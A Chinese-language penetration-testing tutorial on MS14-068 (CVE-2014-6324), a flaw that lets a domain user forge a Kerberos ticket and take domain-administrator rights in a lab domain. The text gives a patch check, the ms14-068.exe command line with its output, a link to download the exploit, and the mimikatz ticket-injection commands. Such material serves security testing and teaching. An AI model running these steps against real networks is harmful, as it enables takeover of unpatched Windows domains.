0x00 前言
在做***測試時,當遇到域環境,獲取到一個域成員賬號後,如果域控制器未打好補丁,則可以利用本文所提到的漏洞,快速獲取到域控制器權限。筆者這裏總結網上已有資料,加以描述,希望你能在實際測試中派上用場。
0x01 準備工作
- 域成員賬號及密碼一個
- mimikatz
- ms14-068.exe
- 03以上服務器或pc
0x02 模擬環境
域控制器 2008r2 dc.test.com 192.168.3.100
域內機器 2008r2 client.test.com 192.168.3.10
0x03 漏洞自檢
MS14-068編號CVE-2014-6324,補丁爲3011780,如果自檢可在域控制器上使用命令檢測
systeminfo |find "3011780"
爲空則代表沒有打該補丁,存在漏洞!
如果屬於黑盒測試,並沒有直接操作域控制器的權限,那麼只能使用該漏洞,看是否能成功僞造域管理員登錄來驗證
0x04 漏洞利用
1. 獲取域成員sid
獲取域成員sid的方式有多種,當然前提是建立在0x01上,本次使用最爲簡單的命令獲取
whoami /all #該命令獲取當前登錄用戶的信息,這裏使用的是域成員登錄,所以獲取到的是域成員normal的sid
2. 生成TGT票據
使用ms14-068.exe,網上有多種版本,有python腳本(需要在***機上安裝python2.x版本,略麻煩),也有已經從python轉exe的版本,不需要依賴python環境,下載地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
C:\Users\normal\Desktop>MS14-068.exe
USAGE:
MS14-068.exe -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
OPTIONS:
-p <clearPassword>
--rc4 <ntlmHash>
C:\Users\normal\Desktop>MS14-068.exe -u [email protected] -s S-1-5-21-1406004368-3
818689962-3591297438-1105 -d 192.168.3.100 -p Server1
[+] Building AS-REQ for 192.168.3.100... Done!
[+] Sending AS-REQ to 192.168.3.100... Done!
[+] Receiving AS-REP from 192.168.3.100... Done!
[+] Parsing AS-REP from 192.168.3.100... Done!
[+] Building TGS-REQ for 192.168.3.100... Done!
[+] Sending TGS-REQ to 192.168.3.100... Done!
[+] Receiving TGS-REP from 192.168.3.100... Done!
[+] Parsing TGS-REP from 192.168.3.100... Done!
[+] Creating ccache file '[email protected]'... Done!
使用方法:
ms14-068.exe -u 域成員名@域名 -s 域成員sid -d 域控制器地址 -p 域成員密碼
如果操作正確,且域機器是可以和域控制器互通則會創建.ccache文件
域成員密碼錯誤情況圖
3. 票據注入
使用mimikatz將票據注入到當前內存中,僞造憑證,如果成功則擁有域管理權限,可任意訪問域中所有機器
mimikatz # kerberos::purge //清空當前機器中所有憑證,如果有域成員憑證會影響憑證僞造
mimikatz # kerberos::list //查看當前機器憑證
mimikatz # kerberos::ptc 票據文件 //將票據注入到內存中
當顯示injecting ticket ok時,表示已經成功將票據注入到內存中,可在機器中用klist查看
4.測試
僞造後,進行嘗試訪問域控制器
注入票據前是不能訪問的
0x05 細節
-
注入票據時,機器不能是03或xp,因爲mimikatz不支持這兩個機器注入,聽大佬說過有工具可以注入,希望有知道的朋友可以留言
- 當獲取到域用戶、域用戶sid、密碼以及可訪問到域控制器的機器,並不需要機器一定在域中(如***者通過***等撥入內網),但需要把dns指向域控制器才能解析
- 訪問域控制器時,需要使用主機名,不能使用ip
- 如有錯誤,請指正,萬分感謝